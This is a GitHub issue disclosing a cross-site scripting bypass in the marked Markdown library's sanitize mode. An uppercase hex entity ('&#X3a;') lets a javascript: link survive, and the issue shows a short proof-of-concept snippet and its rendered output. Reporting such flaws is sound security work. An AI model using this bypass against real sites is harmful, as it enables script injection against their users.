Skip to content

Cross-site Scripting (XSS) via URI #925

@buglloc

Description

@buglloc

Browsers support both lowercase and uppercase x in hexadecimal form of HTML character entity (tested on Chromium && FF).
But marked unescape only lowercase:

// https://github.com/chjj/marked/blob/master/lib/marked.js#L1096-L1108

function unescape(html) {
	// explicitly match decimal, hex, and named HTML entities 
  return html.replace(/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/g, function(_, n) {
    n = n.toLowerCase();
    if (n === 'colon') return ':';
    if (n.charAt(0) === '#') {
      return n.charAt(1) === 'x'
        ? String.fromCharCode(parseInt(n.substring(2), 16))
        : String.fromCharCode(+n.substring(1));
    }
    return '';
  });
}

This allow attacker to create link with javascript code.
For example, this code:

var marked = require('marked');
marked.setOptions({
  renderer: new marked.Renderer(),
  sanitize: true
});

text = `
lower[click me](javascript:...)lower
upper[click me](javascript:...)upper
`;

console.log(marked(text));

Will render:

<p>lowerlower
upper<a href="javascript&#X3a;...">click me</a>upper</p>

Browser example: https://www.buglloc.com/marked.html
Tested on Marked v0.3.6 + Chromium 60.0.3112.90 and Firefox 55.0.1

Metadata

Metadata

Assignees

No one assigned

    Labels

    L1 - brokenValid usage causes incorrect output OR a crash AND there is no known workaround for the issue

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions